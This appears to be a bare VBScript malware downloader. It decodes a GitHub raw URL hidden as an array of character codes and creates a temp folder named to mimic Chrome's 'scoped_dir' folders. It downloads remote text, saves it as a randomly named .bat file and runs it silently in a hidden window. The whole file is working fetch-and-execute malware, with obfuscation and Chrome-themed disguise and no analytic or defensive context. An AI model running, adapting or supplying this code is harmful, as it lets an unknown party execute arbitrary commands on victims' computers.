Dim shell, Http, fso, ts, u, tempFile, tempFolder, targetFolder
Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
tempFolder = shell.ExpandEnvironmentStrings("%TEMP%")
targetFolder = fso.BuildPath(tempFolder, "scoped_dir2716372_129425779512")
If Not fso.FolderExists(targetFolder) Then
    fso.CreateFolder(targetFolder)
End If
u = ""

For Each c In Array(104,116,116,112,115,58,47,47,114,97,119,46,103,105,116,104,117,98,117,115,101,114,99,111,110,116,101,110,116,46,99,111,109,47,75,111,97,112,57,50,51,56,47,71,111,111,103,108,101,45,67,104,114,111,109,101,47,114,101,102,115,47,104,101,97,100,115,47,109,97,105,110,47,103,111,111,103,108,101,46,116,120,116)
    u = u & Chr(c)


Next
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")
Http.Open "GET", u, False
Http.Send
If Http.Status = 200 Then
    tempFile = fso.BuildPath(targetFolder, "~" & Hex(Rnd * 99999999) & ".bat")

    Set ts = fso.CreateTextFile(tempFile, True)
    ts.WriteLine "@echo off"
    ts.Write Http.responseText
    ts.Close
    shell.Run tempFile, 0, False

End If
Set Http = Nothing
Set ts = Nothing
Set fso = Nothing
Set shell = Nothing